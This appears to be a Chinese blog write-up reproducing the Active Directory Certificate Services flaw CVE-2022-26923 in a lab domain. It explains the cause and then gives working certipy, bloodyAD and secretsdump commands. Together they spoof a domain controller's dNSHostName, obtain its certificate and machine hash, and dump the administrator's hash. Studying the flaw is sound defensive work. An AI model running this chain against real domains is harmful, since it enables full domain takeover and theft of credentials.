CVE-2022-26923 ADCS权限提升漏洞复现

原理

由于Windows并未对dNSHostName做唯一性判断,攻击者获取到域内低权限账户后可以利用该漏洞向证书服务请求颁发和其他账户关联的证书,并向域控发起身份验证,从而获取到域管理员权限,通过域管理员权限可以控制域里面的所有机器。

只有dNSHostName属性影响ADCS服务器生成对应机器的证书。并且在域内dNsHostName属性不具有唯一性,因此可以利用普通域用户创建机器用户,然后修改该机器用户的dNSHostName属性为域控,利用域控机器账号的DCSync权限导出域内任意用户哈希

利用流程

  1. 定位证书服务器
  2. 获取一个域用户账号和密码
  3. 使用域用户账号和密码注册一个机器账号
  4. 将主机对象的dNSHostName属性更改为域控的名称
  5. 使⽤certipy以机器账号身份请求⼀个Machine类型的证书。
  6. 使用证书认证,获取域控权限,导出域内任意用户哈希

环境

hacker.com

域控(Windows server 2016):192.168.179.136

域内ADCS服务器(Windows server 2012):192.168.179.138

攻击机:192.168.179.132

复现

定位证书服务器

域内

1
2
certutil -config - -ping
certutil -dump -v

域外

1
certipy find "hacker.com/adder:admin!@#45@192.168.179.136"

记录一下CA Name和DNS Name,之后会用到

1
2
hacker-WEB-CA
WEB.hacker.com

XdX1dx.png

将域控DNS和证书服务器DNS添加到攻击机器的host文件中

1
2
192.168.179.136     WIN-3M4FNJUCANJ.hacker.com
192.168.179.138 WEB.hacker.com

XdXKy9.png

检测一下ms-DS-MachineAccountQuota属性,看能否创建机器账户,默认允许所有域用户向域中添加最多10个计算机帐户

1
python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 getObjectAttributes  'DC=hacker,DC=com' ms-DS-MachineAccountQuota   

XdXuQJ.png

添加一个机器账号cve

1
python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 addComputer cve 'CVEPassword1234*'

XdXmz4.png

设置属性 dNSHostName(创建对象时为空)以匹配域控主机名WIN-3M4FNJUCANJ.hacker.com

1
2
python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 setAttribute 'CN=cve,CN=Computers,DC=hacker,DC=com' dNSHostName '["WIN-3M4FNJUCANJ.hacker.com"]'

XdXeWF.png

检测是否设置成功

1
python3 bloodyAD.py -d hacker.com -u adder -p 'admin!@#45' --host 192.168.179.136 getObjectAttributes 'CN=cve,CN=Computers,DC=hacker,DC=com' dNSHostName               

XdXZJU.png

使用certipy为机器账号cve请求⼀个Machine类型的证书

1
certipy req -dc-ip 192.168.179.136 "hacker.com/cve$:CVEPassword1234*@WEB.hacker.com" -ca hacker-WEB-CA -template Machine -debug

XdXJJO.png

使用生成的证书获取TGT

得到域控机器账号WIN-3M4FNJUCANJ$哈希为929c84bfbc947c4f0f48d9a2ffb9cb38

1
2
certipy auth -pfx ./win-3m4fnjucanj.pfx -dc-ip 192.168.179.136
929c84bfbc947c4f0f48d9a2ffb9cb38

XdXle1.png

使用域控的机器账户认证,导出域管理员用户哈希

1
python3 secretsdump.py  hacker/WIN-3M4FNJUCANJ\$@192.168.179.136 -just-dc-user administrator -hashes "929c84bfbc947c4f0f48d9a2ffb9cb38:929c84bfbc947c4f0f48d9a2ffb9cb38"

XdXGFK.png

参考

https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html

https://www.freebuf.com/vuls/333594.html

https://juejin.cn/post/7104276238667087886


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!